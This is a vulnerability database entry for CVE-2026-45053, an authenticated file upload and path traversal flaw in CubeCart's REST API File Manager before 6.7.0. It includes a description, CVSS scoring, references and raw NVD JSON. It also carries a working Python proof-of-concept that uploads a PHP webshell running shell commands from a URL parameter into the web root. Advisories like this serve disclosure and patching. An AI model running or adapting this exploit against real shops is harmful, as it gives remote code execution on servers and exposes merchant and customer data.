CVE-2026-45053

Description

CubeCart is an ecommerce software solution. Prior to 6.7.0, an Authenticated Arbitrary File Upload vulnerability exists in the REST API File Manager endpoint (POST /api/v1/files) of CubeCart. The endpoint allows any holder of an API key with files:rw permission to upload PHP source files into the web-accessible images/source/ directory, where they are executed by the web server. Combined with a path-traversal flaw in the same endpoint's filepath parameter, a single API request writes a webshell anywhere the webserver process can write — including the document root — yielding full Remote Code Execution. This vulnerability is fixed in 6.7.0.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

CubeCart < 6.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/api/v1/files"
api_key = "VALID_API_KEY_WITH_RW_PERMISSION"  # Replace with actual key

# Headers including Authorization
headers = {
    "Authorization": f"Bearer {api_key}"
}

# PHP Webshell payload
php_code = "<?php system($_GET['cmd']); ?>"

# Exploit the path traversal in 'filepath' to upload to root
files = {
    'file': ('shell.php', php_code, 'application/x-php')
}
data = {
    'filepath': '../../'  # Traversal to document root
}

# Send the malicious request
response = requests.post(target_url, headers=headers, files=files, data=data)

if response.status_code == 200:
    print("[+] Exploit successful!")
    print(f"[+] Webshell uploaded at: http://example.com/shell.php?cmd=whoami")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45053
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45053
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45053/
[4] VulDB https://vuldb.com/cve/CVE-2026-45053
[5] https://github.com/cubecart/v6/security/advisories/GHSA-652f-8c88-25cx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45053", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:49.073", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CubeCart is an ecommerce software solution. Prior to 6.7.0, an Authenticated Arbitrary File Upload vulnerability exists in the REST API File Manager endpoint (POST /api/v1/files) of CubeCart. The endpoint allows any holder of an API key with files:rw permission to upload PHP source files into the web-accessible images/source/ directory, where they are executed by the web server. Combined with a path-traversal flaw in the same endpoint's filepath parameter, a single API request writes a webshell anywhere the webserver process can write — including the document root — yielding full Remote Code Execution. This vulnerability is fixed in 6.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/cubecart/v6/security/advisories/GHSA-652f-8c88-25cx", "source": "[email protected]"}]}}